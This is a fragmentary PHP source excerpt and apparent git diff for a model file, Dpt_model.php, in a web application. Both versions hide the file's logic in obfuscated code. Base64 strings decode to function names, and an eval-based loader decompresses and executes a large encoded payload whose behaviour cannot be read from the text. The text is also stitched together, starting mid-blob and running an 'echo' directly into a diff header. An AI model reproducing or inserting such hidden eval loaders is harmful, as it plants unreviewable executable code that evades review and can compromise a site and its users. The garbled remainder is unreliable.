Vi+PWAUfiKd9xrjG7001PaluA1kKws78aY/Ma/6jwccBaX4FbxuSb2pqmeBGCns/bHKQZ2o5sniUW+Fzo/1xEdsp16566h8Va98z3cv/ZRxGdYf3WSoHU57GLmYQJYG5Ytno/1JeYrXN+JfjR3rCT4EXhbJxM1gizXhMQJ39Toh9YaXqH2bYW84O+sbHc1Lvysz+VhVi2oZsPINa2Z+g/IKOC1sSmcTiJPxe28dgzNNapnefToro9gMXw5qjAGLbB7y/jrqpTPYYYncBa6YgVtx5D+E2ffq3B7+fsmnYO9dbsqWmPdY1fMZ9buQB/R3eif1xKPeC953OFMA1umMgvydd6m/76iM41I9d3HO0FALOt/rO3uOghpC2tJ++0K1bsWTz7F8kK/SGZ0vYz/ILVWPmp0fbp+73pPZlUyjQ9yO+l169tZprv1eO4ftk9cRt9/fJQY+rU6wXe19HZ3tXU+1IfKuwnjUqczEw+s10xvvPudR1F/irtTe+ntI5xZVLZzD1+tzDNYT2vOBiv8klF/mdIZMdWXEzoLD671lWq8LvJXwCVaDog455DfqXc0jqvvsQz77/Z4Qw+6ep/1Z/SCsM4ZM1PvNqUdIcSHIrXnQofhw4LeX+YjFraFrL+jzKXT+/5WdiVefGVkc9Lag/fGkP+oVXdiku8/h7DMoHumU9FL1kBHTD+86jeOM+xziQr6XFT97dA6fMh5Xc8hjfVXnWW3ovkn1LvZa9ZyO+eg+H97q9Ww55Isr/NBIKUatkF+WUdd69B2Nu83BjnsKNe8UqO+rlb4RH8t32W8cn8e662dRzG8byPtORFxwN/c8n6LG3/WUbp4FnT8j+LbVYGdoXb0zmBRbDzGczruUTJNGXevJYmf+6otutQZDk5f+gXOE3fOmbYkS64vznqpb4e6cYHd/NOQSaWR2qSefv5XYT87tzgpOz9z2/8u7BI4iNVlMAy5ZLptmWdR4Ib8/kfuYfxz3Dvvl7OtBJ7NYh64V4BH5tuZD4sobi1tfbjXMnrryWA//ZS8PO/f9ju2u8PnrNtz1OscHHw/Pnr0Rp74+H/z6K+uXgyeAj8Z1rzsOBDc+f9fRvo/2I7bpTNO1OYp1j5595cz1EI9OdDfcy0995c306N7qd+NiT7vGtdJzeW+fc+z7zJdnwx393Ha38VT7zY1zRt6dbgq3FKeoyyfVZybEQ7zMTuL64efvyTzdrFx7iO8VTwZ/Ou3nsRr2qO4+77n8U/Uj5VNt7tnW+vmpu9Su9nP+QH3JHfIgao8zuf8xrnqzB3mIcb8e9QdarKbpxFf5N/Il9QP3ta8qNFcRfUakOjvqIJ/PyGbIV8+HPNg+6QEhx1051z89L6LPDHj/t/2FXMc16m8b8G/XbrI+z2mPjs4Z6BrqcNSb7HOl1fO7eRl0RVxVO9RR6VW91b3Pnb7pmdGZT81+v+f4Izj7wzVSDzIn37EVYTCn3kD92c/dOXM978f6IdqovXau+0brR88Qa253koPo6+HzTz/96z8A/YV9/2v9298+/5HHj579kQf/cljwrw/098N/75e9/zty/9n/jtwpRv56AsoKIn/7/L88E0KR'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Dpt_model.php b/donjo-app/models/Dpt_model.php index 6664b6110..52efc1889 100644 --- a/donjo-app/models/Dpt_model.php +++ b/donjo-app/models/Dpt_model.php @@ -224,7 +224,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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